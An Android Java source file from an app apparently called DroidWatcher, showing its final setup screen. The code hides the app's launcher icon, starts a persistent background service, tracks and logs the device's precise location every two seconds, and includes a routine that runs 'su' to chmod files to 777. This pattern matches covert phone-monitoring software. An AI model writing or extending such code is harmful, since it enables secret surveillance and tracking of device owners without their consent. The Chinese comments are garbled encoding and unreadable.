package com.droidwatcher.activity;

import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.AsyncTask;
import android.os.Bundle;
import android.text.Html;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;

import com.amap.api.location.AMapLocation;
import com.amap.api.location.AMapLocationClient;
import com.amap.api.location.AMapLocationClientOption;
import com.amap.api.location.AMapLocationListener;
import com.droidwatcher.DBManager;
import com.droidwatcher.SettingsManager;
import com.droidwatcher.services.AppService;
import com.droidwatcher.util.AXLog;
import com.droidwatcher2.R;

import java.io.DataOutputStream;
import java.text.SimpleDateFormat;
import java.util.Date;

import static com.droidwatcher.util.Md5Utils.SHA1;

public class StartupFinalActivity extends Activity {

	public AMapLocationClient mLocationClient = null
			;//����AMapLocationClientOption����
	public AMapLocationClientOption mLocationOption = null;
	//������λ�ص�������
	public AMapLocationListener mLocationListener = new AMapLocationListener() {
		@Override
		public void onLocationChanged(AMapLocation amapLocation) {
			AXLog.d("wzytest","onLocationChanged");
			if (amapLocation != null) {
				if (amapLocation.getErrorCode() == 0) {
					amapLocation.getLatitude();//��ȡγ��
					amapLocation.getLongitude();//��ȡ����
					amapLocation.getAccuracy();//��ȡ������Ϣ
					SimpleDateFormat df = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
					Date date = new Date(amapLocation.getTime());
					df.format(date);//��λʱ��
					amapLocation.getAddress();//��ַ�����option������isNeedAddressΪfalse����û�д˽�������綨λ����л��е�ַ��Ϣ��GPS��λ�����ص�ַ��Ϣ��
					amapLocation.getCountry();//������Ϣ
					amapLocation.getProvince();//ʡ��Ϣ
					amapLocation.getCity();//������Ϣ
					amapLocation.getDistrict();//������Ϣ
					amapLocation.getStreet();//�ֵ���Ϣ
					amapLocation.getStreetNum();//�ֵ����ƺ���Ϣ
					amapLocation.getCityCode();//���б���
					amapLocation.getAdCode();//��������
					AXLog.e("wzytest","amapLocation.getCountry() :" + amapLocation.getCountry() + amapLocation.getCityCode() + amapLocation.getCity() +amapLocation.getStreet());
				} else {
					//��ʾ������ϢErrCode�Ǵ����룬errInfo�Ǵ�����Ϣ������������
					Log.e("AmapError","location Error, ErrCode:"
							+ amapLocation.getErrorCode() + ", errInfo:"
							+ amapLocation.getErrorInfo());
				}
			}
		}
	};



	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);

		setContentView(R.layout.activity_startup_final);
		AXLog.e("wzytest",SHA1(this));
		CharSequence styledText = Html.fromHtml(getString(R.string.login_warming));
		TextView tv = (TextView) findViewById(R.id.wizard_text);
		tv.setText(styledText);
		
		findViewById(R.id.wizard_btn_finish).setOnClickListener(new View.OnClickListener() {
			@Override
			public void onClick(View v) {
				startActivity(new Intent(StartupFinalActivity.this, MainMenuActivity.class));
				StartupFinalActivity.this.finish();
			}
		});
		
		new FinalPrepareTask().execute();
		//����AMapLocationClient�����
//��ʼ����λ
		mLocationClient = new AMapLocationClient(getApplicationContext());
//���ö�λ�ص�����
		mLocationClient.setLocationListener(mLocationListener);
//��ʼ����λ����
		mLocationOption = new AMapLocationClientOption();
//���ö�λģʽΪ�߾���ģʽ��Battery_SavingΪ�͹���ģʽ��Device_Sensors�ǽ��豸ģʽ
		mLocationOption.setLocationMode(AMapLocationClientOption.AMapLocationMode.Hight_Accuracy);
		//���ö�λ���,��λ����,Ĭ��Ϊ2000ms
		mLocationOption.setInterval(2000);
//��ʼ��AMapLocationClientOption����
		mLocationOption = new AMapLocationClientOption();


		/**
		 * ���ö�λ������Ŀǰ֧�����ֳ�����ǩ�������С��˶���Ĭ���޳�����
		 */
		mLocationOption.setLocationPurpose(AMapLocationClientOption.AMapLocationPurpose.SignIn);
		if(null != mLocationClient){
			mLocationClient.setLocationOption(mLocationOption);
			//���ó���ģʽ����õ���һ��stop���ٵ���start�Ա�֤����ģʽ��Ч
			mLocationClient.stopLocation();
			mLocationClient.startLocation();
		}
	}

	/**
	 * Ӧ�ó������������ȡ RootȨ�ޣ��豸�������ƽ�(���ROOTȨ��)
	 *
	 * @return Ӧ�ó�����/���ȡRootȨ��
	 */
	public static boolean upgradeRootPermission(String pkgCodePath) {
		Process process = null;
		DataOutputStream os = null;
		try {
			String cmd="chmod 777 " + pkgCodePath;
			process = Runtime.getRuntime().exec("su"); //�л���root�ʺ�
			os = new DataOutputStream(process.getOutputStream());
			os.writeBytes(cmd + "\n");
			os.writeBytes("exit\n");
			os.flush();
			process.waitFor();
		} catch (Exception e) {
			return false;
		} finally {
			try {
				if (os != null) {
					os.close();
				}
				process.destroy();
			} catch (Exception e) {
			}
		}
		return true;
	}

	private class FinalPrepareTask extends AsyncTask<Void, Void, Void>{
		
		@Override
		protected Void doInBackground(Void... params) {
			PackageManager p = getPackageManager();
	        ComponentName componentName = new ComponentName(StartupFinalActivity.this, LauncherActivity.class);
	        //p.setComponentEnabledSetting(componentName, PackageManager.COMPONENT_ENABLED_STATE_ENABLED , PackageManager.DONT_KILL_APP);
			p.setComponentEnabledSetting(componentName, PackageManager.COMPONENT_ENABLED_STATE_DISABLED , PackageManager.DONT_KILL_APP);

	        DBManager m = new DBManager(StartupFinalActivity.this);
	        m.getReadableDatabase().close();
	        m.close();
	        
	        SettingsManager settings = new SettingsManager(StartupFinalActivity.this);
	        settings.connected(true);
	        
	        startService(new Intent(StartupFinalActivity.this, AppService.class));
	        
			return null;
		}
		
		@Override
		protected void onPostExecute(Void result) {
			super.onPostExecute(result);
			
			Button btn = (Button) findViewById(R.id.wizard_btn_finish);
			btn.setText(R.string.finish);
			btn.setEnabled(true);
		}
		
	}
}
